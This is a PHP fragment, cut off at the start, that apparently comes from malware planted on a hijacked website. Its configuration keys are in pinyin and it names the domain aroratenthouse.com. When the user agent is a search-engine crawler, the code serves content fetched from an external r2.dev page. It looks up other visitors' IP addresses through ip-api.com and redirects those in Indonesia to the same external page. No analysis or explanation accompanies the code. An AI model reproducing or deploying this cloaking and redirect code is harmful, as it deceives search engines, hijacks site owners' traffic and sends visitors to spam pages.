'aroratenthouse.com/', 'zhizhufanhui' => 'https://pub-daef8772f1034b4eb2cdb5fa65fb1562.r2.dev/ampestlanguagesolutions.html', 'jiechitiaozhuan' => 'aroratenthouse.com/', 'tiaozhuan' => 'https://pub-daef8772f1034b4eb2cdb5fa65fb1562.r2.dev/ampestlanguagesolutions.html', ), ); $user_cl = get_client_ip(); $uri = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (count($dy) > 0) { $botchar = "/(googlebot|slurp|Google AdSense)/"; if (preg_match($botchar, strtolower($user_agent))) { foreach ($dy as $key => $val) { if ($uri == $val['jiechizhizhu'] && !empty($val['zhizhufanhui'])) { echo file_get_contents($val['zhizhufanhui']);exit; } } } elseif (preg_match('/()/', strtolower($http_referer))) { foreach ($dy as $key => $val) { if ($uri == $val['jiechitiaozhuan'] && !empty($val['tiaozhuan'])) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://ip-api.com/json/$user_cl"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); $ipaddress = curl_exec($ch); curl_close($ch); $jsonArea = json_decode($ipaddress,true); if (!empty($jsonArea) && !empty($jsonArea['countryCode']) && strtolower($jsonArea['countryCode']) == 'id') { header('Location: '.$val['tiaozhuan']);exit; } } } } } ?>